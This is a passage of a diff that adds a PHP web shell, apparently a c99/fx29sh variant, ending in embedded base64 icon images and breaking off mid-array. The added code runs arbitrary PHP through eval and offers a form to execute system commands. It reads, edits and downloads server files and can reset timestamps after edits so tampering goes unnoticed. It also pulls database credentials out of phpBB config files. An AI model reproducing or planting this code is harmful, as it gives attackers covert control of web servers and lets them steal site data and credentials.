href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; } + } + $prcs = array(); + unset($stack[0]); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[4] = str_replace(".","",$line[4]); + $line[4] = intval($line[4]) * 1024; + unset($line[5]); + $prcs[] = $line; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); } + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<table class=explorer>\n"; + foreach($tab as $i=>$k) { + echo "<tr>"; + foreach($k as $j=>$v) { + if ($win and $i > 0 and $j == 4) { $v = view_size($v); } + echo "<td>".$v."</td>"; + } + echo "</tr>\n"; + } + echo "</table>"; + } +} +if ($act == "eval") { + if (!empty($eval)) { + echo "Result of execution this PHP-code:<br>"; + $tmp = @ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) { + @ob_clean(); + eval($eval); + $ret = @ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + @ob_clean(); + echo $tmp; + if ($eval_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else { + if ($eval_txt) { + echo "<br><textarea cols=\"115\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") { + echo "<div align=left>"; + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>"; + $fi = fopen($d.$f,"rb"); + if ($fi) { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + echo "<table border=1 bgcolor=#666666>". + "<tr><td bgcolor=#666666>".$a0."</td>". + "<td bgcolor=#000000>".$a1."</td>". + "<td bgcolor=#000000>".$a2."</td>". + "</tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> + <P>"; + } + elseif ($ft == "html") { + if ($white) {@ob_clean();} + echo $r; + if ($white) {fx29shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { + $arr = explode("\n",$r); + if (count($arr == 18)) { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {fx29shexit();} + echo "</div>"; + } + elseif ($ft == "download") { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") { + $inf = getimagesize($d.$f); + if (!$white) { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";} +} +echo "</div>\n"; +} +} +else { +@ob_clean(); +$images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". 